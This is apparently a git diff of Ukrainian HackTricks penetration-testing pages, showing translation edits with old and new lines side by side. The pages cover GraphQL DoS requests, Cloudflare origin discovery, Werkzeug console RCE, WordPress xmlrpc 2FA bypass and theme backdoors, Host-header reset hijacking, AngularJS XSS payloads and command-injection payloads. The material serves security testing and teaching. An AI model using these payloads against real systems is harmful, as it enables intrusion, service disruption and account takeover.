**Перевантаження псевдонімів** - це вразливість GraphQL, де зловмисники перевантажують запит багатьма псевдонімами для одного й того ж поля, змушуючи бекенд-резолвер виконувати це поле повторно. Це може перевантажити ресурси сервера, що призводить до **Відмови в обслуговуванні (DoS)**. Наприклад, у наведеному нижче запиті те саме поле (`expensiveField`) запитується 1,000 разів, використовуючи псевдоніми, змушуючи бекенд обчислювати його 1,000 разів, що потенційно може виснажити ЦП або пам'ять:
**Перевантаження псевдонімів** - це вразливість GraphQL, де зловмисники перевантажують запит багатьма псевдонімами для одного й того ж поля, змушуючи бекенд-резолвер виконувати це поле повторно. Це може перевантажити ресурси сервера, що призводить до **відмови в обслуговуванні (DoS)**. Наприклад, у наведеному нижче запиті те саме поле (`expensiveField`) запитується 1,000 разів, використовуючи псевдоніми, змушуючи бекенд обчислювати його 1,000 разів, що потенційно може виснажити ЦП або пам'ять:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
@ -500,9 +499,9 @@ curl -X POST -H "Content-Type: application/json" \
```
Щоб зменшити це, реалізуйте обмеження на кількість псевдонімів, аналіз складності запитів або обмеження швидкості, щоб запобігти зловживанню ресурсами.
### **Пакетування запитів на основі масивів**
### **Пакетування запитів на основі масиву**
**Пакетування запитів на основі масивів** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **Відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу.
**Пакетування запитів на основі масиву** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **Відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -510,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром пакета або запитами, що вимагають великих обчислень, це може перевантажити сервер.
У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром пакету або запитами, що вимагають великих обчислень, це може перевантажити сервер.
### **Вразливість перевантаження директив**
**Перевантаження директив** відбувається, коли сервер GraphQL дозволяє запити з надмірними, дублікатними директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дублікатами директив, щоб викликати високе використання обчислень або пам'яті, що призводить до **Відмови в обслуговуванні (DoS)**.
**Перевантаження директив** відбувається, коли сервер GraphQL дозволяє запити з надмірними, дубльованими директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дубльованими директивами, щоб викликати високе використання обчислень або пам'яті, що призводить до **Відмови в обслуговуванні (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -554,7 +553,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Тестування поширених неправильних налаштувань graphql кінцевих точок
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Скрипт аудиту безпеки GraphQL з акцентом на виконання пакетних запитів та мутацій GraphQL.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Визначення графіку, що використовується
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Інструмент, який можна використовувати для отримання схем та пошуку чутливих даних, тестування авторизації, брутфорс схем та знаходження шляхів до певного типу.
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Набір інструментів, який можна використовувати для отримання схем та пошуку чутливих даних, тестування авторизації, брутфорс схем та знаходження шляхів до певного типу.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Може використовуватися як автономний інструмент або [розширення Burp](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Може використовуватися як CLI клієнт також для автоматизації атак
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Інструмент, який перераховує різні способи **досягнення певного типу в схемі GraphQL**.
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Автоматичні тести
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- Відео, що пояснює AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -41,7 +41,9 @@ done
Для кращого опису цього процесу перегляньте:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
```bash
# Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@ -70,7 +72,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
### Дозволені IP адреси Cloudflare
Це **відхилить з'єднання, які не походять з діапазонів IP адрес Cloudflare**. Це також вразливе до попередньої конфігурації, де зловмисник просто **вказує свій власний домен у Cloudflare** на **IP** адресу **жертви** та атакує його.
Це **відхилить з'єднання, які не походять з діапазонів IP адрес Cloudflare**. Це також вразливе до попередньої налаштування, де зловмисник просто **вказує свій власний домен у Cloudflare** на **IP** адресу жертви та атакує його.
Більше інформації [**тут**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
@ -126,7 +128,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
Реверс-інжиніринг заходів захисту Cloudflare від ботів є тактикою, яку використовують постачальники розумних проксі, що підходить для масштабного веб-скрапінгу без високих витрат на запуск багатьох безголових браузерів.
**Переваги:** Цей метод дозволяє створити надзвичайно ефективний обхід, який спеціально націлений на перевірки Cloudflare, ідеальний для масштабних операцій.
**Переваги:** Цей метод дозволяє створити надзвичайно ефективний обхід, який спеціально націлений на перевірки Cloudflare, ідеально підходить для масштабних операцій.
**Недоліки:** Недоліком є складність, пов'язана з розумінням і обманом навмисно заплутаної системи захисту Cloudflare від ботів, що вимагає постійних зусиль для тестування різних стратегій і оновлення обходу, оскільки Cloudflare покращує свої заходи захисту.

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Console RCE
Якщо налагодження активне, ви можете спробувати отримати доступ до `/console` і отримати RCE.
@ -11,11 +10,11 @@ __import__('os').popen('whoami').read();
```
![](<../../images/image (117).png>)
Існує також кілька експлойтів в Інтернеті, таких як [цей](https://github.com/its-arun/Werkzeug-Debug-RCE) або один у metasploit.
Існує також кілька експлойтів в інтернеті, таких як [цей](https://github.com/its-arun/Werkzeug-Debug-RCE) або один у metasploit.
## Захищений PIN - Перехід по шляху
В деяких випадках **`/console`** кінцева точка буде захищена PIN-кодом. Якщо у вас є **вразливість до обходу файлів**, ви можете витягти всю необхідну інформацію для генерації цього PIN-коду.
В деяких випадках **`/console`** кінцева точка буде захищена PIN-кодом. Якщо у вас є **вразливість до переходу по файлах**, ви можете витягти всю необхідну інформацію для генерації цього PIN-коду.
### Експлойт PIN-коду консолі Werkzeug
@ -40,7 +39,7 @@ shell that runs the server
- **`uuid.getnode()`**: Отримує MAC-адресу поточної машини, з `str(uuid.getnode())` перетворюючи її в десятковий формат.
- Щоб **визначити MAC-адресу сервера**, потрібно виявити активний мережевий інтерфейс, що використовується додатком (наприклад, `ens3`). У випадках невизначеності, **використайте `/proc/net/arp`** для знаходження ID пристрою, потім **витягніть MAC-адресу** з **`/sys/class/net/<device id>/address`**.
- Щоб **визначити MAC-адресу сервера**, потрібно виявити активний мережевий інтерфейс, що використовується додатком (наприклад, `ens3`). У випадках невизначеності, **використовуйте `/proc/net/arp`** для знаходження ID пристрою, потім **витягніть MAC-адресу** з **`/sys/class/net/<device id>/address`**.
- Перетворення шістнадцяткової MAC-адреси в десяткову можна виконати, як показано нижче:
```python
@ -146,7 +145,7 @@ print(rv)
> [!TIP]
> Якщо ви використовуєте **стару версію** Werkzeug, спробуйте змінити **алгоритм хешування на md5** замість sha1.
## Unicode символи Werkzeug
## Werkzeug Unicode символи
Як було зазначено в [**цьому питанні**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug не закриває запит з Unicode символами в заголовках. І, як пояснено в [**цьому описі**](https://mizu.re/post/twisty-python), це може викликати вразливість CL.0 Request Smuggling.
@ -154,7 +153,9 @@ print(rv)
## Автоматизоване використання
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## Посилання
@ -163,5 +164,4 @@ print(rv)
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -7,7 +7,7 @@
- **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните деякі php файли теми для отримання RCE, ви, напевно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до **404.php** файлу за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ще одна корисна URL-адреса може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ще один корисний URL може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- У **wp-config.php** ви можете знайти кореневий пароль бази даних.
- Шляхи для перевірки входу за замовчуванням: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
@ -70,7 +70,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Витяг версій загалом
### Витягування версій загалом
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Плагіни та Теми
Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
### Користувачі
@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Повідомлення _"Неправильне ім'я користувача або пароль"_ всередині відповіді з кодом 200 повинно з'явитися, якщо облікові дані недійсні.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
@ -172,7 +172,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**Обхід 2FA**
Цей метод призначений для програм, а не для людей, і є старим, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які ви можете зробити через консоль, але ви все ще можете отримати доступ до RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Цей метод призначений для програм, а не для людей, і є старим, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які можна виконати через консоль, але ви все ще можете отримати доступ до RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS або сканування портів**
@ -223,7 +223,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
## SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy** і, якщо існує, намагається їх експлуатувати.
@ -242,7 +244,7 @@ return new WP_Error(
```
## **Panel RCE**
**Модифікація php з теми, що використовується (потрібні облікові дані адміністратора)**
**Модифікація php з теми (потрібні облікові дані адміністратора)**
Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч)
@ -250,7 +252,7 @@ return new WP_Error(
![](<../../images/image (384).png>)
Шукайте в інтернеті, як ви можете отримати доступ до цієї оновленої сторінки. У цьому випадку вам потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Шукайте в інтернеті, як ви можете отримати доступ до оновленої сторінки. У цьому випадку вам потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -264,7 +266,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
### PHP плагін
Можливо, що можна завантажити .php файли як плагін.\
Можливо, завантажити .php файли як плагін.\
Створіть свій php бекдор, використовуючи, наприклад:
![](<../../images/image (183).png>)
@ -285,7 +287,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (462).png>)
Доступ до неї, і ви побачите URL для виконання реверсної оболонки:
Доступ до неї, і ви побачите URL для виконання реверс-оболонки:
![](<../../images/image (1006).png>)
@ -300,7 +302,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
3. **Активація плагіна**: Після успішної установки плагін повинен бути активований через панель управління.
4. **Експлуатація**:
- З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий.
- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши специфічні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.
- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши конкретні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.
- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress.
Зміст включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.
@ -309,7 +311,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
## Від XSS до RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — це скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для отримання додаткової інформації перевірте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він надає **підтримку для версій WordPress 6.X.X, 5.X.X та 4.X.X і дозволяє:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — це скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для отримання додаткової інформації перевірте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він надає **підтримку версій WordPress 6.X.X, 5.X.X та 4.X.X і дозволяє:**
- _**Ескалація привілеїв:**_ Створює користувача в WordPress.
- _**(RCE) Завантаження користувацького плагіна (бекдору):**_ Завантажте свій користувацький плагін (бекдор) до WordPress.
- _**(RCE) Редагування вбудованого плагіна:**_ Редагуйте вбудовані плагіни в WordPress.
@ -330,11 +332,11 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Attack Surface
Знання того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете дізнатися, як плагін може відкривати функціональність, у наступних пунктах та деяких прикладах вразливих плагінів у [**цьому блозі**](https://nowotarski.info/wordpress-nonce-authorization/).
Знання того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете знайти, як плагін може відкривати функціональність, у наступних пунктах та деяких прикладах вразливих плагінів у [**цьому блозі**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**&#x20;
Один із способів, яким плагін може відкривати функції для використання, - це через AJAX-обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базують як аутентифікацію, так і авторизацію на існуванні nonce Wordpress, який **будь-який користувач, що аутентифікований у екземплярі Wordpress, може мати** (незалежно від його ролі).
Один із способів, яким плагін може відкривати функції для використання, - це через AJAX обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базуються як на аутентифікації, так і на авторизації, на існуванні nonce Wordpress, який **будь-який користувач, аутентифікований у екземплярі Wordpress, може мати** (незалежно від його ролі).
Це функції, які можуть бути використані для відкриття функції в плагіні:
```php
@ -358,7 +360,7 @@ $this->namespace, '/get/', array(
)
);
```
`permission_callback` - це зворотний виклик функції, яка перевіряє, чи має даний користувач право викликати метод API.
`permission_callback` - це зворотний виклик до функції, яка перевіряє, чи має даний користувач право викликати метод API.
**Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.**

View File

@ -2,19 +2,17 @@
{{#include ./banners/hacktricks-training.md}}
### Заголовок Host
Декілька разів бекенд довіряє **заголовку Host** для виконання деяких дій. Наприклад, він може використовувати його значення як **домен для відправки скидання пароля**. Тож, коли ви отримуєте електронний лист з посиланням для скидання пароля, домен, що використовується, є тим, що ви вказали в заголовку Host. Тоді ви можете запросити скидання пароля інших користувачів і змінити домен на той, що контролюється вами, щоб вкрасти їхні коди скидання пароля. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
Кілька разів бекенд довіряє **заголовку Host** для виконання деяких дій. Наприклад, він може використовувати його значення як **домен для відправки скидання пароля**. Тож, коли ви отримуєте електронний лист з посиланням для скидання пароля, домен, що використовується, є тим, що ви вказали в заголовку Host. Тоді ви можете запросити скидання пароля інших користувачів і змінити домен на той, що контролюється вами, щоб вкрасти їхні коди скидання пароля. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Зверніть увагу, що можливо, вам навіть не потрібно чекати, поки користувач натисне на посилання для скидання пароля, щоб отримати токен, оскільки, можливо, навіть **фільтри спаму або інші проміжні пристрої/боти натиснуть на нього для аналізу**.
### Булеві значення сесії
### Булеві сесії
Іноді, коли ви правильно проходите деяку перевірку, бекенд **просто додає булеве значення "True" до атрибута безпеки вашої сесії**. Тоді інша точка доступу знатиме, чи успішно ви пройшли цю перевірку.\
Однак, якщо ви **пройшли перевірку** і ваша сесія отримала це значення "True" в атрибуті безпеки, ви можете спробувати **доступитися до інших ресурсів**, які **залежать від того ж атрибута**, але до яких ви **не повинні мати доступу**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
Однак, якщо ви **пройшли перевірку** і ваша сесія отримала значення "True" в атрибуті безпеки, ви можете спробувати **доступитися до інших ресурсів**, які **залежать від того ж атрибута**, але до яких ви **не повинні мати доступу**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Функціональність реєстрації
@ -22,11 +20,13 @@
### Перехоплення електронних листів
Зареєструйте електронну пошту, перед підтвердженням змініть електронну пошту, тоді, якщо новий електронний лист для підтвердження буде надіслано на першу зареєстровану електронну пошту, ви зможете перехопити будь-яку електронну пошту. Або, якщо ви можете активувати другу електронну пошту, підтверджуючи першу, ви також зможете перехопити будь-який обліковий запис.
Зареєструйте електронну пошту, перед підтвердженням змініть електронну пошту, тоді, якщо новий підтверджувальний електронний лист буде надіслано на першу зареєстровану електронну пошту, ви зможете перехопити будь-яку електронну пошту. Або, якщо ви можете активувати другу електронну пошту, підтверджуючи першу, ви також можете перехопити будь-який обліковий запис.
### Доступ до внутрішнього сервісного столу компаній, використовуючи Atlassian
### Доступ до внутрішнього сервісного столу компаній, що використовують Atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Метод TRACE
@ -34,5 +34,4 @@
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}

View File

@ -32,6 +32,8 @@
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) - це сервіс на базі штучного інтелекту, який спеціалізується на автоматичному розв'язанні різних типів captcha, що сприяє збору даних, допомагаючи розробникам легко долати виклики captcha, з якими вони стикаються під час веб-скрапінгу. Він підтримує captcha, такі як **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest та Cloudflare turnstile серед інших**. Для розробників Capsolver пропонує варіанти інтеграції API, детально описані в [**документації**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** що полегшує інтеграцію розв'язання captcha в програми. Вони також надають розширення для браузерів для [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) та [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), що робить їхній сервіс легким у використанні безпосередньо в браузері. Доступні різні пакети цін, щоб задовольнити різні потреби, забезпечуючи гнучкість для користувачів.
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
{{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,17 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
## Summary
## Резюме
Це схоже на [**Server Side Template Injection**](ssti-server-side-template-injection/), але в **клієнті**. **SSTI** може дозволити вам **виконувати код** на віддаленому сервері, **CSTI** може дозволити вам **виконувати довільний JavaScript** код у браузері жертви.
Це схоже на [**Server Side Template Injection**](ssti-server-side-template-injection/), але на **клієнті**. **SSTI** може дозволити вам **виконувати код** на віддаленому сервері, **CSTI** може дозволити вам **виконувати довільний JavaScript** код у браузері жертви.
**Тестування** на наявність цієї вразливості дуже **схоже** на випадок **SSTI**, інтерпретатор очікує **шаблон** і виконає його. Наприклад, з корисним навантаженням, як `{{ 7-7 }}`, якщо додаток **вразливий**, ви побачите `0`, а якщо ні, ви побачите оригінал: `{{ 7-7 }}`
## AngularJS
AngularJS - це широко використовуваний JavaScript фреймворк, який взаємодіє з HTML через атрибути, відомі як директиви, однією з яких є **`ng-app`**. Ця директива дозволяє AngularJS обробляти HTML вміст, що дозволяє виконувати JavaScript вирази всередині подвійних фігурних дужок.
AngularJS - це широко використовуваний JavaScript фреймворк, який взаємодіє з HTML через атрибути, відомі як директиви, одна з яких - **`ng-app`**. Ця директива дозволяє AngularJS обробляти HTML вміст, що дозволяє виконувати JavaScript вирази всередині подвійних фігурних дужок.
У ситуаціях, коли введення користувача динамічно вставляється в HTML тіло, позначене `ng-app`, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, що демонструють, як можна виконати JavaScript код:
У ситуаціях, коли введення користувача динамічно вставляється в HTML тіло, позначене `ng-app`, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, які демонструють, як можна виконати JavaScript код:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -23,8 +23,7 @@ AngularJS - це широко використовуваний JavaScript фре
```
Ви можете знайти дуже **базовий онлайн приклад** вразливості в **AngularJS** за посиланням [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) та в [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
> [!CAUTION]
> [**Angular 1.6 видалив пісочницю**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), тому з цієї версії корисне навантаження на кшталт `{{constructor.constructor('alert(1)')()}}` або `<input ng-focus=$event.view.alert('XSS')>` повинно працювати.
> [!CAUTION] > [**Angular 1.6 видалив пісочницю**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), тому з цієї версії корисне навантаження, таке як `{{constructor.constructor('alert(1)')()}}` або `<input ng-focus=$event.view.alert('XSS')>`, повинно працювати.
## VueJS
@ -70,9 +69,10 @@ javascript:alert(1)%252f%252f..%252fcss-images
```
**Більше пейлоадів у** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
## **Список виявлення грубої сили**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## **Список виявлення брутфорсу**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Що таке командне впровадження?
**Командне впровадження** дозволяє зловмиснику виконувати довільні команди операційної системи на сервері, що хостить додаток. Внаслідок цього додаток і всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє зловмиснику отримати несанкціонований доступ або контроль над середовищем додатка та основною системою.
@ -76,7 +75,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Часова ексфільтрація даних
Витягування даних: по символу
Витягування даних: по одному символу
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
## Список виявлення грубої сили
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Посилання

View File

